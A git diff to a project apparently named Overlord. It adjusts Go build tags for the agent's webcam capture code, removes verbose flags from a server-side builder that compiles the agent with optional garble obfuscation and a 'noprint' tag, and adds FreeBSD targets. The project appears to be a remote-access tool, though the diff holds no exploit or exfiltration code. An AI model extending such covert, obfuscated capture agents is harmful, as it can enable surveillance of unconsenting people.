diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go index 9eb193d..8c63b9b 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows || !cgo package capture diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go index 382408c..6c37f62 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go @@ -1,4 +1,4 @@ -//go:build windows +//go:build windows && cgo package capture diff --git a/Overlord-Client/cmd/agent/capture/webcam_stub.go b/Overlord-Client/cmd/agent/capture/webcam_stub.go index ab321ef..e0f15af 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_stub.go +++ b/Overlord-Client/cmd/agent/capture/webcam_stub.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows || !cgo package capture diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index b7a3d0e..b1055f5 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -1,4 +1,4 @@ -//go:build windows +//go:build windows && cgo package capture diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 08fe1b9..56a2859 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -149,6 +149,28 @@ /> macOS ARM64 + + diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index da99410..0f52cb8 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -266,27 +266,25 @@ export async function startBuildProcess( try { const buildTool = config.obfuscate ? "garble" : "go"; - const verboseArg = "-x -v "; const tagArg = config.noPrinting ? "-tags noprint " : ""; - logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${verboseArg}${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); + logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || ""}`); - sendToStream({ type: "output", text: "Build trace enabled (-x -v)\n", level: "info" }); const buildCmd = config.obfuscate ? (config.noPrinting ? (ldflags - ? $`garble build -x -v -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` - : $`garble build -x -v -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) + ? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) : (ldflags - ? $`garble build -x -v -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` - : $`garble build -x -v -o ${outDir}/${outputName} ./cmd/agent`)) + ? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`garble build -o ${outDir}/${outputName} ./cmd/agent`)) : (config.noPrinting ? (ldflags - ? $`go build -x -v -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` - : $`go build -x -v -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) + ? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) : (ldflags - ? $`go build -x -v -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` - : $`go build -x -v -o ${outDir}/${outputName} ./cmd/agent`)); + ? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`go build -o ${outDir}/${outputName} ./cmd/agent`)); const proc = buildCmd.env(env).cwd(clientDir).nothrow(); let result: any; diff --git a/Overlord-Server/src/server/validation-constants.ts b/Overlord-Server/src/server/validation-constants.ts index 6f931fb..c7b7ee2 100644 --- a/Overlord-Server/src/server/validation-constants.ts +++ b/Overlord-Server/src/server/validation-constants.ts @@ -23,4 +23,6 @@ export const ALLOWED_PLATFORMS = new Set([ "linux-armv7", "darwin-amd64", "darwin-arm64", + "freebsd-amd64", + "freebsd-arm64", ]);